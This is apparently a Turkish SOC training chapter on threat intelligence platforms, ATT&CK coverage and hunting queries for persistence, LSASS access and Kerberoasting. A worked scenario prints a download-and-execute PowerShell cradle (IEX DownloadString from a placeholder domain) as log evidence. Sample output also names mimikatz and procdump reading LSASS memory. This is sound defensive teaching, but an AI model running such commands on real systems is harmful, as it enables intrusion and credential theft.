MISP ve OpenCTI, IOC, threat actor, campaign ve aralarındaki ilişkilerin saklandığı, paylaşıldığı ve sorgulandığı açık kaynaklı platformlardır. MISP, siber güvenlik göstergeleri ve tehditlerle ilgili bilgileri toplama, saklama, dağıtma ve paylaşma için kullanılan açık kaynaklı bir çözüm olarak tanımlanır.

OpenCTI ise kurumların cyber threat intelligence knowledge ve observable’ları yönetmesine olanak tanıyan; teknik ve teknik olmayan tehdit bilgisini yapılandırma, saklama, organize etme ve görselleştirme amacıyla geliştirilen açık kaynaklı bir platformdur. OpenCTI, STIX2 standardına dayalı bir knowledge schema kullanır ve MISP, TheHive, MITRE ATT&CK gibi araçlarla entegre edilebilir.

Bir SOC bu platformları şu amaçlarla kullanabilir:

Alarm içindeki IOC’yi MISP’te sorgulama: “Bu IP daha önce başka olaylarda görülmüş mü?”
Yeni bir IOC’yi kurumun kendi TIP’ine ekleme.
Güvenilir topluluklarla tehdit bilgisi paylaşma.
OpenCTI üzerinde threat actor, malware, campaign, observable ve TTP ilişkilerini görselleştirme.

SOC analistinin bu platformlarla teması genellikle enrichment sorgusu veya IOC yükleme düzeyindedir. Platform kurulumu, feed yönetimi veya ilişki grafiği modelleme detection engineering veya CTI analist rollerinin kapsamındadır.

7.7 Intelligence ile Detection İlişkisini Kurma

Tehdit istihbaratının SOC’taki en yüksek değeri, yalnızca IOC alarm üretmekten değil; detection stratejisini yönlendirmesinden gelir. Şu kullanım senaryoları bu değeri somutlaştırır:

Coverage değerlendirmesi: “Bu kampanya şu teknikleri kullanıyor; bizim kurumda bu tekniklere karşı detection var mı?”

Hunting hipotezi: “Bu aktör hedef ortamlarda WMI persistence kullanıyor; ortamımızda bu davranış var mı?”

Risk önceliklendirme: “Bu sektörü hedef alan aktör artıyor; lateral movement detection kurallarımızı öncelikli olarak gözden geçirelim.”

Detection fikri: “Bu rapor yeni bir persistence mekanizması tanımlıyor; bu teknik için kural yazabilir miyiz?”

IOC alarm üretmek istihbaratın yalnızca en yüzeysel kullanımıdır. Stratejik kullanım, detection portföyünün yönünü belirlemektir.

7.8 SOC Analisti İçin CTI Raporu Okuma Becerisi Kazanma

Bir tehdit istihbaratı raporunu SOC operasyonu için okumak, her kelimeyi derinlemesine analiz etmek değil; operasyonel değeri olan unsurları hızlıca çıkarmaktır. Okunurken şu çerçeve kullanılabilir:

IOC’ler: Rapordaki IP adresleri, domain’ler, hash değerleri ve URL’ler. Bunlar SIEM’de arama sorgusu veya TIP’e yükleme için kullanılabilir.

TTP’ler: Hangi MITRE teknikleri kullanılmış? Bunlar detection ve hunting fikrine dönüşür.

Malware ailesi: Rapordaki zararlı yazılım kurumun uç noktalarında veya benzer sistemlerde daha önce görülmüş mü?

Hedef sektör ve bölge: Bu kampanya kurumu doğrudan ilgilendiriyor mu? Sektör eşleşiyorsa öncelik artar.

Saldırı zinciri: Giriş noktası nedir? Phishing, exposed service, supply chain veya credential compromise mı? Hangi aşamalardan geçiyor? Bu zincir kurumun mevcut attack surface’iyle örtüşüyor mu?

Savunma önerileri: Rapordaki öneriler kurumda uygulanmış mı? Uygulanmamışsa detection veya yapılandırma iyileştirmesi olarak işaretlenebilir.

Komut & Araç Okuryazarlığı

Örnek 1 — Scheduled Task Hunting: KQL ile Persistence İzi Arama

Komut:

            SecurityEvent
            | where TimeGenerated > ago(7d)
            | where EventID == 4698 // Yeni scheduled task oluşturuldu
            | extend TaskDetails = tostring(EventData)
            | where TaskDetails has_any ("cmd.exe", "powershell.exe", "wscript.exe",
                                            "mshta.exe", "Temp", "AppData", "ProgramData")
            | project TimeGenerated, Computer, SubjectUserName, SubjectDomainName, TaskDetails
            | order by TimeGenerated desc

Platform : Microsoft Sentinel — SecurityEvent tablosu (Windows Security Log)

Amaç: Son 7 günde şüpheli yürütülebilir yollar veya interpreter’ları (komut yorumlayıcıları) içeren yeni zamanlanmış görev (Scheduled Task) oluşturma aktivitelerini saptayarak, saldırganların sistemde kalıcılık sağlama girişimlerini (Persistence Hunting) ortaya çıkarmaktır.

Beklenen çıktı:

Microsoft Sentinel - KQL Persistence Hunting

SecurityEvent | where TimeGenerated > ago(7d) | where EventID == 4698 // Yeni scheduled task oluşturuldu | extend TaskDetails = tostring(EventData) | where TaskDetails has_any ("cmd.exe", "powershell.exe", "wscript.exe", "mshta.exe", "Temp", "AppData", "ProgramData") | project TimeGenerated, Computer, SubjectUserName, SubjectDomainName, TaskDetails | order by TimeGenerated desc // --- PERSISTENCE HUNTING ANALİZ NOTLARI --- // [!] Taktik: Persistence (Kalıcılık - T1053.005). Saldırganlar sistem yeniden // başlatılsa bile kodlarını tekrar çalıştırmak için bu yöntemi kullanır. // [!] Riskli Dizinler: "Temp", "AppData" ve "ProgramData" dizinleri, standart // kullanıcıların yazma yetkisi olduğu ve genellikle meşru görevlerin (task) // bulunmadığı alanlar olduğu için öncelikli incelenmelidir. // [!] Interpreter Analizi: Bir görevin doğrudan "powershell.exe" veya "mshta.exe" // çağırması, script tabanlı bir arka kapı (backdoor) yerleştirildiğinin kanıtı olabilir.

Dikkat edilecek noktalar:

SubjectUserName: Görevi kim oluşturdu? IT yöneticisi mi, standart kullanıcı mı, servis hesabı mı?
TaskDetails: Görev hangi binary’yi çalıştırıyor? Yol geçici dizine mi işaret ediyor?
Computer: Kritik bir sunucu mu yoksa iş istasyonu mu?
TimeGenerated: Çalışma saatleri dışında mı oluşturuldu?

Normal durum:
IT yönetici hesapları tarafından system32 içindeki binary’lere veya kurumsal araçlara işaret eden görevler. Bilinen yazılım kurulumları veya bakım zamanlamaları.

Şüpheli durum:
Standart kullanıcı hesabı tarafından AppData\Local\Temp veya ProgramData içindeki binary’ye işaret eden görev; özellikle gece saatlerinde oluşturulmuşsa.

Yanlış yapılandırma / veri kalitesi problemi:
Event ID 4698 loglanmıyorsa sorgu sonuç üretmez; Windows Security Log audit policy’de “Audit Other Object Access Events” etkin olmalıdır. Event gelmesine rağmen TaskContent veya task detayı boş görünüyorsa önce ham XML/EventData içeriği incelenmelidir. Ham event içinde task XML’i varsa sorun audit policy değil, SIEM parsing veya field extraction problemidir. Ayrıca bu log yalnızca domain controller’dan mı geliyor, iş istasyonlarından da toplanıyor mu kontrol edilmelidir.

Yorum:
Sorgu yüksek false positive üretebilir; özellikle büyük ortamlarda pek çok meşru görev bu kriterlere girebilir. Allowlist oluşturmak için önce bilinen IT yöneticisi hesaplarını ve geçerli görev yollarını belgeleyin.

Örnek 2 — LSASS Erişimi Hunting: Sysmon Event ID 10 Üzerinden

Komut :

index=endpoint sourcetype=sysmon EventCode=10

                index=endpoint sourcetype=sysmon EventCode=10
                | where like(TargetImage, "%\\lsass.exe")
                | where NOT in(SourceImage,
                    "C:\\Windows\\System32\\wininit.exe",
                    "C:\\Windows\\System32\\winlogon.exe",
                    "C:\\Windows\\System32\\services.exe",
                    "C:\\Windows\\System32\\csrss.exe"
                )
                | stats count by SourceImage, TargetImage, GrantedAccess, ComputerName, User
                | sort - count

Platform : Splunk — Sysmon Event ID 10 (Process Access)

Amaç: LSASS (Local Security Authority Subsystem Service) sürecine erişen ve standart sistem süreçleri dışında kalan şüpheli uygulamaları saptayarak, bellekten kimlik bilgisi sızdırma (Credential Dumping) girişimlerini Splunk üzerinden tespit etmektir.

Beklenen çıktı:

Splunk Enterprise - Credential Access Hunting (LSASS)

search > index=endpoint sourcetype=sysmon EventCode=10 | where like(TargetImage, "%\\lsass.exe") | where NOT in(SourceImage, "C:\\Windows\\System32\\wininit.exe", "C:\\Windows\\System32\\winlogon.exe", "C:\\Windows\\System32\\services.exe", "C:\\Windows\\System32\\csrss.exe") | stats count by SourceImage, TargetImage, GrantedAccess, ComputerName, User | sort - count

SourceImage TargetImage GrantedAccess ComputerName User count C:\Windows\temp\mimikatz.exe lsass.exe 0x1FFFFF DESKTOP-01 SYSTEM 1 C:\Users\...\procdump.exe lsass.exe 0x1010 SERVER-DB Admin 1 # --- CREDENTIAL ACCESS HUNTING ANALİZ NOTLARI --- # [!] Taktik: Credential Access (Parola/Kimlik Bilgisi Erişimi - T1003.001). # [!] Kritik Hedef: LSASS.exe süreci, bellekte açık metin (cleartext) parolaları veya # NTLM hash'lerini barındırdığı için saldırganların birincil hedefidir. # [!] GrantedAccess Analizi: 0x1FFFFF (Full Access) veya 0x1010 (Read/Query) gibi # erişim hakları, bellek dökümü (memory dump) alma girişimlerini işaret eder. # [!] İstisnalar: wininit, winlogon ve services gibi sistem süreçleri LSASS ile meşru # olarak etkileşime girer; bu yüzden "noise reduction" için filtrelenmişlerdir.

Dikkat edilecek noktalar:

GrantedAccess: Geniş erişim maskeleri credential dumping açısından güçlü sinyal olabilir; ancak tek başına kesin kanıt değildir.
SourceImage: EDR veya AV binary’si olmayan bir süreç LSASS’a erişiyorsa şüpheli olabilir.
ComputerName: Kritik sistem mi, domain controller mı, standart workstation mı?
User: Erişim hangi kullanıcı bağlamında gerçekleşmiş?
count: Tekrar eden erişimler daha sistematik bir davranışa işaret edebilir.

Normal durum:
Güvenlik yazılımları, EDR agent’ları ve bazı sistem süreçleri LSASS’a düzenli olarak erişebilir; bu normal ve beklenebilir. Ancak normal süreçler kurum ortamına göre doğrulanmalıdır.

Şüpheli durum:
procdump.exe, taskmgr.exe (özellikle standart kullanıcıdan), script interpreter’lar veya beklenmedik uygulama binary’leri LSASS’a yüksek erişim hakkıyla erişiyorsa araştırılmalıdır. taskmgr.exe gibi araçlar koşulsuz allowlist’e alınmamalı; kullanıcı, parent process, imza durumu ve olay bağlamı incelenmelidir.

Yanlış yapılandırma / veri kalitesi problemi:
Sysmon yapılandırmasında Event ID 10 etkin değilse veya lsass.exe için process access logging kural olarak tanımlanmamışsa bu sorgu hiç sonuç üretmez. Sysmon config’i doğrulanmalıdır.

Yorum:
Bu sorgu credential access hunting’in başlangıç noktasıdır. Bulgu varsa ilgili host’ta endpoint timeline açarak bağlamı genişletin. Sysmon Event ID 10 gürültülü olabilir; doğru filtreleme yapılmadan production alarmına dönüştürmek false positive oranını artırır.

Örnek 3 — ATT&CK Coverage Değerlendirmesi: Veri Kaynağı Karşılaştırması

Komut:

Aşağıdaki tablo, örnek bir kurum için seçilmiş ATT&CK tekniklerinin coverage durumunu göstermektedir. Bu tablo ATT&CK Navigator’da renk kodlamasıyla görselleştirilebilir.

Saldırı Tekniği	MITRE ID	Gerekli Veri Kaynağı	Mevcudiyet	Kural	Kapsama Durumu
Scheduled Task	T1053.005	Windows Event 4698, Sysmon, Process Telemetry	Evet	Evet	Otomatik Detection
LSASS Memory	T1003.001	Sysmon Event 10, EDR	Evet	Evet	Otomatik Detection
WMI Execution	T1047	Sysmon ID 1, 19-21, WMI Logs	Kısmi	Hayır	Manuel Gözlem
Kerberoasting	T1558.003	Windows Event 4769, AD Logs	Hayır	Hayır	Kör Nokta (Blind Spot)
Cloud IAM Manipulation	T1098.003	CloudTrail, Entra ID, Azure/GCP Audit	Evet	Hayır	Manuel Gözlem
DLL Side-Loading	T1574.002	Sysmon Event 7, EDR Image Load	Evet	Hayır	Manuel Gözlem

Platform: ATT&CK Navigator (görselleştirme) + SIEM/log envanteri (karşılaştırma)

Amaç: Kurumun siber savunma kapasitesini ATT&CK Navigator formatında haritalayarak; hangi saldırı tekniklerine karşı otomatik koruma olduğunu, hangilerinin sadece manuel izlenebildiğini ve hangilerinin tamamen "Kör Nokta" (Blind Spot) olduğunu analiz etmektir.

Beklenen çıktı:

MITRE ATT&CK - Detection Coverage & Gap Analysis Matrix

[+] MITRE ATT&CK Matrix Coverage Report

Teknik	ID	Veri Kaynağı	Mevcut?	Kural?	Durum
Scheduled Task	T1053.005	WinEv 4698, Sysmon	Evet	Evet	Otomatik
LSASS Memory	T1003.001	Sysmon 10, EDR	Evet	Evet	Otomatik
WMI Execution	T1047	Sysmon 1, 19-21	Kısmi	Hayır	Manuel
Kerberoasting	T1558.003	WinEv 4769	Hayır	Hayır	KÖR NOKTA
Cloud IAM	T1098.003	CloudTrail, Entra ID	Evet	Hayır	Manuel
DLL Side-Load	T1574.002	Sysmon 7, EDR	Evet	Hayır	Manuel

# --- STRATEJİK ANALİZ VE YOL HARİTASI --- # [!] KRİTİK (Kör Nokta): Kerberoasting için acilen Event ID 4769 loglarının # toplanması ve SIEM üzerinde korelasyon kuralı yazılması gerekmektedir. # [!] FIRSAT (Manuel): Cloud IAM ve DLL Side-Loading için loglar mevcut. Bu loglar # üzerinden otomatik alert kuralları (Detection Engineering) geliştirilmelidir. # [!] DENETİM (Otomatik): Scheduled Task ve LSASS tespiti çalışıyor. Ancak # bu kuralların Bypass tekniklerine karşı güncelliği periyodik olarak test edilmelidir.

Dikkat edilecek noktalar:

Kör noktalar: Hem log kaynağı hem kural eksik → acil öncelik.
Manuel gözlem: Log var ama kural yok → detection fırsatı.
Otomatik detection: İyi; ancak kural kalitesi ve false positive oranı düzenli gözden geçirilmeli.

Yorum: Kerberoasting’in kör nokta olduğunu görmek, hem Windows Security Log audit policy’sini güncelleme hem de bu teknik için hunting planı oluşturma kararını destekler. WMI Execution’ın kısmi görünür olması ise Sysmon WMI event’leri veya WMI loglarının kapsamını genişletme ihtiyacına işaret edebilir.

Örnek 4 — Kerberoasting Hunting: KQL ile TGS Ticket Anomalisi

Komut:

            SecurityEvent
            | where TimeGenerated > ago(24h)
            | where EventID == 4769 // Kerberos Service Ticket Operations
            | extend TicketEnc = tostring(TicketEncryptionType)
            | where TicketEnc == "0x17" // RC4 / etype 0x17 — risk sinyali
            | where ServiceName !endswith "$" // Makine hesabı değil
            | where ServiceName != "krbtgt"
            | summarize RequestCount = count(), UniqueServices = dcount(ServiceName),
                        Services = make_set(ServiceName, 20)
                by AccountName, IpAddress, bin(TimeGenerated, 5m)
            | where RequestCount > 5 or UniqueServices > 3
            | order by RequestCount desc

Platform : Microsoft Sentinel — SecurityEvent tablosu

Amaç: Kısa sürede çok sayıda zayıf şifreli (RC4) TGS (Ticket Granting Service) bileti talep eden hesapları tespit ederek, servis hesaplarının şifrelerini ele geçirmeyi hedefleyen Kerberoasting saldırılarını saptamaktır.

Beklenen çıktı:

Microsoft Sentinel - KQL Kerberoasting Hunting

SecurityEvent | where TimeGenerated > ago(24h) | where EventID == 4769 // Kerberos Service Ticket Operations | extend TicketEnc = tostring(TicketEncryptionType) | where TicketEnc == "0x17" // RC4 Encryption - Yüksek Risk Sinyali | where ServiceName !endswith "$" // Makine hesaplarını filtrele | where ServiceName != "krbtgt" | summarize RequestCount = count(), UniqueServices = dcount(ServiceName), Services = make_set(ServiceName, 20) by AccountName, IpAddress, bin(TimeGenerated, 5m) | where RequestCount > 5 or UniqueServices > 3 | order by RequestCount desc // --- KERBEROASTING HUNTING ANALİZ NOTLARI --- // [!] Taktik: Credential Access (T1558.003). Saldırganlar, servis hesaplarının // parola hash'lerini çevrimdışı (offline) kırmak amacıyla TGS bileti talep eder. // [!] Neden 0x17 (RC4)?: RC4 şifreleme türü zayıftır ve kırması AES'e göre çok // daha kolaydır. Modern sistemlerin varsayılan olarak AES kullanması beklenir. // [!] Eşik Değer (Threshold): 5 dakikalık bir pencerede 3'ten fazla benzersiz servis // bileti istenmesi, meşru kullanıcı davranışından ziyade "Service Discovery" // ve toplu bilet çekme eylemine işaret eder.

Dikkat edilecek noktalar:

TicketEncryptionType == 0x17: RC4 / etype 0x17 güçlü bir risk sinyalidir; özellikle modern ortamlarda beklenmeyen RC4 kullanımı araştırılmalıdır.
RequestCount > 5 veya UniqueServices > 3: Kısa sürede birden fazla farklı SPN talebi otomatize veya olağan dışı davranışa işaret edebilir.
AccountName: Standart kullanıcı hesabı mı, servis hesabı mı, yüksek yetkili hesap mı?
IpAddress: Talep hangi sistemden geliyor? Kullanıcının normal cihazı mı?
Services: Hedeflenen servis hesapları kritik mi?

Normal durum: Kullanıcılar normal iş akışında belirli servislere TGS talebi gönderebilir. Bu davranış genellikle tutarlı servis setleriyle ve normal kullanım saatlerinde görülür.

Şüpheli durum: Tek bir kullanıcı, kısa sürede çok sayıda farklı servise RC4 şifreli TGS talebi gönderiyor. Bu davranış, özellikle daha önce o kullanıcı için görülmemişse Kerberoasting hunting bulgusu olabilir.

Yanlış yapılandırma / veri kalitesi problemi: Event ID 4769 loglanmıyorsa bu sorgu çalışmaz. Domain controller’da Kerberos Service Ticket Operations audit’i etkin olmalıdır. Ayrıca TicketEncryptionType, ServiceName, AccountName ve IpAddress alanlarının parse edilmiş olduğu varsayılmıştır. Production’a alınmadan önce SecurityEvent ham verisinde bu alanların hangi sütunda veya EventData/XML içinde geldiği doğrulanmalı ve gerekirse parse/extend adımı eklenmelidir.

Uygulama / Kontrol Listesi

ATT&CK Tabanlı Coverage Değerlendirmesi ve Persistence Hunting Kontrol Listesi

Bu liste, SOC analistinin kapsama alanını değerlendirmesini ve kalıcılık (persistence) avcılığı çalışmalarını yapılandırılmış şekilde yürütmesini sağlar.

Hazırlık

Kurumun kullandığı ATT&CK matrisi versiyonu (Enterprise, ICS, Mobile) belirlendi.
SIEM, EDR ve log yönetim sistemine erişim sağlandı.
Mevcut tespit kuralları listesi ve log kaynakları envanteri hazırlandı.
Hunting zaman aralığı (son 7 veya 30 gün) ve kapsam (sistemler, kullanıcı grupları) tanımlandı.

1. Coverage (Kapsam) Haritasını Oluştur

Tespit kuralları MITRE teknik ID’leriyle eşleştirildi mi?
Her teknik için "otomatik tespit", "manuel gözlem" veya "kör nokta" durumu belirlendi mi?
ATT&CK Navigator üzerinde durumlar farklı renklerle işaretlendi mi?
Kapsam durumuna veri kaynağı sağlığı (log sürekliliği) eklendi mi?

2. Öncelikli Kör Noktaları Belirle

Sektörel tehdit profiliyle örtüşen kritik kör noktalar hangileri?
Bu teknikler için gerekli log kaynağı mevcut mu?
Log eksikse "iyileştirme talebi", log var ama kural yoksa "tespit fırsatı" olarak kaydedildi mi?

3. Persistence (Kalıcılık) Hunting Çalışması

Zamanlanmış Görevler: Yeni görev oluşturma sorgulandı mı? (Event ID 4698)
Servis Kurulumları: Yeni servisler incelendi mi? (Event ID 7045)
Kayıt Defteri: Registry Run Keys eklemeleri kontrol edildi mi? (Sysmon ID 12/13)
Startup: Başlangıç klasörüne yeni dosya eklendi mi?
Kullanıcı Yönetimi: Yeni yerel hesap oluşturuldu mu? (Event ID 4720)
WMI: WMI kalıcılık izleri incelendi mi? (Sysmon ID 19, 20, 21)

4. Bulguları Değerlendir ve Sınıflandır

Her bulgu için "Kim, ne zaman, hangi sistem, hangi komutla?" soruları yanıtlanmalıdır:

Benign: Meşru IT işlemi, kayıtlı değişiklik.
Suspicious: Açıklanamayan davranış, ek araştırma gerekiyor.
Confirmed Malicious: Onaylı tehdit, IR eskalasyonu.
Detection Opportunity: Kural yazılabilir alan.
Data Gap: Veri eksik, log ihtiyacı.

Doğrulama ve Kanıt Notu

IT admin işlemleri veya onaylı otomasyonlar (False Positive) değerlendirildi mi?
Hunting raporuna hipotez, kullanılan sorgular ve bulgu sınıflandırmaları eklendi mi?
Suspicious bulgular için vaka yönetim sisteminde kayıt açıldı mı?
Tespit edilen veri eksiklikleri (Data Gap) için altyapı talebi oluşturuldu mı?

Bulgu → Etki → Öneri → Kanıt

Bulgu:
Persistence hunting çalışmasında DC-TEST01 üzerinde gece 02:45’te testuser hesabı tarafından yeni bir scheduled task oluşturulduğu tespit edildi. Görev, %APPDATA%\Roaming dizinindeki imzasız bir binary’yi her oturum açılışında çalıştırmak üzere yapılandırılmış.

Etki:
Bu görev, kullanıcı oturumlarında kalıcı kod çalıştırma imkânı sağlıyor. testuser hesabı domain ortamına erişim yetkisine sahip; etki alanı genelinde yayılma riski mevcut.

Öneri:
Görevi hemen devre dışı bırak ve binary’yi karantinaya al.
testuser hesabının son 72 saatlik aktivitesini incele.
Görevin hangi süreç tarafından oluşturulduğunu EDR timeline ile belirle.
IR ekibine eskalasyon yap; lateral movement ihtimalini değerlendir.
Scheduled task creation için mevcut detection kuralını gözden geçir; bu örüntüyü yakalamıyor olabilir.

Kanıt:
Splunk sorgu çıktısı (EventCode=4698, 03:15 UTC), binary yolu: C:\Users\testuser\AppData\Roaming\upd8r.exe, imza durumu: imzasız, task name: WindowsUpdate_svc, oluşturan: testuser, host: DC-TEST01.

Operasyonel Senaryo

Senaryo: Nadir Domain Sorgusu ve WMI Kaynaklı Process — Hunting mi, Alarm mı?

Belirti

SOC analistinin haftalık hunting çalışması sırasında, analytics-driven bir yaklaşımla son 14 günlük DNS logları inceleniyor. SIEM’de “kurumda daha önce hiç sorgulanmamış domainlere yapılan DNS sorgularını listele” sorgusu çalıştırılıyor. Çıktıda bir satır dikkat çekiyor: SRV-WEB01 (üretim web sunucusu) 198.51.100.44 (iç resolver) üzerinden xn--update-srv98.example.net adresini sorgulamış. Zeek DNS logunda yanıt olarak 203.0.113.91 IP’si dönmüş.

Aynı anda, SRV-WEB01 üzerindeki Sysmon loglarında WmiPrvSE.exe parent process’inden cmd.exe başlatıldığı görülüyor. Zaman: 03:22 UTC.

İlk Düşünce

Üretim web sunucusunda gece 03:22’de WMI kaynaklı cmd.exe başlatılması ve daha önce hiç sorgulanmamış bir domain’e DNS sorgusu iki bağımsız sinyal olabilir; ancak birlikte görüldüklerinde saldırı zincirinin parçası olma ihtimalleri artar. Varsayımla karar vermeden önce her iki sinyali ayrı ayrı ve birlikte değerlendirmek gerekir.

Kontrol Edilecek Noktalar

xn--update-srv98.example.net domain’i nedir? Yaşı kaç? Reputation bilgisi var mı?
203.0.113.91 IP’si ile bağlantı kuruldu mu? Zeek conn.logda kayıt var mı?
WmiPrvSE.exe → cmd.exe zincirinde komut satırı ne?
Bu sunucuda bu saatte WMI kaynaklı komut çalışması bekleniyor mu? Change management’ta kayıt var mı?
Aynı domain veya IP, kurumun başka sistemlerinden de sorgulanmış mı?
WMI activity için Sysmon Event ID 19, 20 ve 21 var mı?
Bu hareket local WMI mı, remote WMI mı? Kimlik loglarında ilgili oturum var mı?

Kullanılacak Log / Telemetri Kaynakları

Zeek dns.log: Domain sorgu geçmişi, ilk/son görülme, yanıt IP.
Zeek conn.log: 203.0.113.91 ile kurulan bağlantının süresi ve veri hacmi.
Sysmon Event ID 1: WmiPrvSE.exe → cmd.exe process creation, komut satırı.
Sysmon Event ID 3: SRV-WEB01’den 203.0.113.91’e ağ bağlantısı.
Sysmon Event ID 19/20/21: WMI persistence veya WMI event binding izleri.
Windows Event ID 4688: Alternatif process creation kaydı.
IT Change Management: Planlanmış bakım kontrolü.

Bakılacak Alanlar

DNS: Query, answers, rcode, ts / timestamp.
Conn.log: id.orig_h, id.resp_h, id.resp_p, duration, orig_bytes, resp_bytes.
Sysmon Event ID 1: Image, CommandLine, ParentImage, ParentCommandLine, User.
User Alanı: WMI kaynaklı process hangi kullanıcı bağlamında çalışıyor?
Endpoint Timeline: Event öncesi/sonrası dosya, registry, network veya servis aktivitesi.

Threat Hunting - DNS & WMI Analysis [SRV-WEB01]

SOC@HUNTING:~$ # Newly Observed Domain (NOD) Tespiti - Zeek dns.log SOC@HUNTING:~$ cat dns.log | grep "xn--update-srv98" query: xn--update-srv98.example.net (Punycode detected) answer: 203.0.113.91 age: 4 days (Newly Registered Domain)

SOC@HUNTING:~$ # WMI Execution Analizi - Sysmon Event ID 1 SOC@HUNTING:~$ Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 1} | FL Image: C:\Windows\System32\cmd.exe CommandLine: cmd.exe /c powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://xn--update-srv98.example.net/upd')" ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe User: NT AUTHORITY\SYSTEM Timestamp: 2024-03-15T03:22:04Z

# --- ANALİZ VE TESPİT NOTLARI --- # [!] Teknik: WMI Remote Execution (T1047). Saldırgan sistemi uzaktan yönetiyor. # [!] Defense Evasion: Punycode (xn--) kullanımı, güvenlik araçlarını ve analistleri # şaşırtmak için seçilmiş "update-srv" benzeri bir aldatmacadır. # [!] Veri Analizi: 31 KB "inbound" veri hacmi, bir script'in başarıyla çekildiğini # ve bellek içinde (Fileless) yürütüldüğünü (IEX) doğrular. Karar: CONFIRMED MALICIOUS - INCIDENT RESPONSE INITIATED İnceleyen: Tier 3 Threat Hunter

Amaç: Üretim web sunucusu üzerinde daha önce hiç görülmemiş bir domain (NOD) sorgusunu, WMI kaynaklı (WmiPrvSE.exe) şüpheli bir cmd/powershell yürütmesiyle ilişkilendirerek aktif bir siber saldırıyı saptamaktır.

Toplanacak Kanıt

DNS sorgu kaydı (Zeek dns.log).
Conn.log satırı: SRV-WEB01 → 203.0.113.91 bağlantı verisi.
Sysmon Event ID 1 kaydı: Tam komut satırı.
Domain reputation ve yaş bilgisi (TIP/WHOIS).
Change management kayıt durumu.
Varsa Sysmon Event ID 19/20/21 kayıtları.

Analiz

Zeek dns.loga bakılıyor: xn--update-srv98.example.net ilk kez 03:20’de sorgulanmış. Domain yaşı 4 gün. TIP’te henüz kategorize edilmemiş. Zeek conn.logda 03:22 UTC'de gerçekleşen 18 saniyelik bağlantı ve düşük veri hacmi (4.2 KB out, 31 KB in) programatik bir davranışa işaret ediyor.

Sysmon Event ID 1 Detayı:

Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://xn--update-srv98.example.net/upd')"
ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe
User: NT AUTHORITY\SYSTEM

Bu komut satırı, IEX + DownloadString kombinasyonu ile bellek içi (in-memory) kod çalıştırma davranışını gösterir. IT change management sisteminde kayıt bulunmamaktadır ve bu durum meşru bir yönetim faaliyeti ile örtüşmemektedir.

False Positive İhtimali

Bu senaryoda false positive ihtimali çok düşüktür. Gece 03:22, üretim sunucusu, WMI kaynaklı SYSTEM yetkili process başlatma ve yeni bir dış domainden script çekme işlemleri belgelenmiş bir istisna olmadığı sürece benign kabul edilemez.

Escalation Gerekir mi?

Evet. Aktif şüpheli kod çalıştırma, dış payload indirme girişimi ve WMI kaynaklı kritik varlık erişimi nedeniyle IR ekibine eskalasyon gereklidir.

Önerilen Aksiyonlar:

SRV-WEB01’i ağdan izole et (IR onayıyla).
İlgili IP ve domain adreslerini blokla.
Kurum genelinde IoC taraması yap.
Yanal hareket ve remote logon izlerini kontrol et.

Karar

Confirmed suspicious → IR eskalasyonu gerekli. Hunting çalışması aktif bir tehdit tespit etmiş; vaka açılmış ve üst ekibe yönlendirilmiştir.

Bulgu → Etki → Öneri → Kanıt

Bulgu:
Analytics-driven hunting sırasında SRV-WEB01 üzerinde 15 Mart 2024 03:22 UTC’de WmiPrvSE.exe kaynaklı cmd.exe çalışması tespit edildi. Komut satırı, yeni kayıtlı (4 günlük) xn--update-srv98.example.net domain’inden IEX ile script indirip çalıştırmayı içeriyor. Zeek conn.log, 203.0.113.91:443 adresine 31 KB veri indirimini doğruluyor.

Etki:
Saldırgan üretim web sunucusunda SYSTEM yetkisiyle kod çalıştırmış olabilir. İndirilen payload’ın ne yaptığı belirsiz; kimlik bilgisi toplama, persistence oluşturma veya yanal hareket başlatma riski var. SRV-WEB01 üretim ağına bağlı.

Öneri:
SRV-WEB01’i ağdan izole et (IR onayıyla), memory dump al.
203.0.113.91 ve xn--update-srv98.example.net adreslerini firewall’da blokla.
Bu hedeflere başka sistemlerden bağlantı var mı? Acil SIEM sorgusu yürüt.
IR ekibine eskalasyon yap; kimlik doğrulama loglarında SRV-WEB01 kimliğiyle başka sistemlere erişim var mı incelet.
WMI tabanlı lateral movement için detection kuralı mevcut değilse, bu hunting bulgusundan detection fırsatı üret.

Kanıt:
Sysmon Event ID 1 (03:22 UTC, WmiPrvSE.exe → cmd.exe, IEX + DownloadString komut satırı). Zeek dns.log (03:20 UTC, xn--update-srv98.example.net, yanıt: 203.0.113.91). Zeek conn.log (03:22 UTC, SRV-WEB01 → 203.0.113.91:443, 18s, 31KB in). Change management: bu gece planlanmış bakım yok.

Terimler Sözlüğü

Terim	Açıklama / Teknik Karşılık	SOC & Analiz Bağlamı
MITRE ATT&CK	Saldırgan taktik ve tekniklerini belgeleyen küresel bilgi tabanı.	Savunma stratejisinin ortak dili ve standart çerçevesidir.
Tactic (Taktik)	Saldırganın ulaşmak istediği nihai amaç (Örn: Kalıcılık).	"Saldırgan neden bunu yapıyor?" sorusunu yanıtlar.
Technique (Teknik)	Amaca ulaşmak için kullanılan yöntem (Örn: Scheduled Task).	"Saldırgan amacı için hangi yolu seçti?" sorusunu yanıtlar.
Sub-technique	Bir tekniğin daha spesifik ve detaylı uygulama biçimi.	Tespit kuralının ne kadar granüler olduğunu belirler.
Procedure (Prosedür)	Tekniğin gerçek dünyadaki (APT grupları vb.) kullanım örneği.	Gerçek saldırı senaryolarını simüle etmek için kullanılır.
ATT&CK Navigator	Matrisi görselleştirmeye yarayan etkileşimli araç.	Kurumun savunma haritasını (Heatmap) çıkarmayı sağlar.
Data Source	Tespit için gereken ana veri kaynağı (Örn: Process).	Görünürlük planlamasının ilk adımıdır.
Data Component	Veri kaynağının içindeki spesifik değer (Örn: Command Line).	Kural yazarken hangi alanın (Field) sorgulanacağını belirler.
Detection Coverage	Saldırı tekniklerine karşı sahip olunan toplam koruma gücü.	SOC ekibinin yetkinlik ve başarı ölçütüdür.
Coverage Heatmap	Güçlü ve zayıf alanları gösteren renkli kapsama haritası.	Üst yönetime sunulan "neredeyiz?" raporunun temelidir.
Pyramid of Pain	Tehdit göstergelerini saldırgan için zorluk derecesine göre sıralar.	Hash engellemek "kolay", TTP yakalamak "can yakıcıdır".
TTP	Tactic, Technique ve Procedure kavramlarının bütünü.	Saldırganın parmak izi ve karakteristik iş yapış biçimidir.
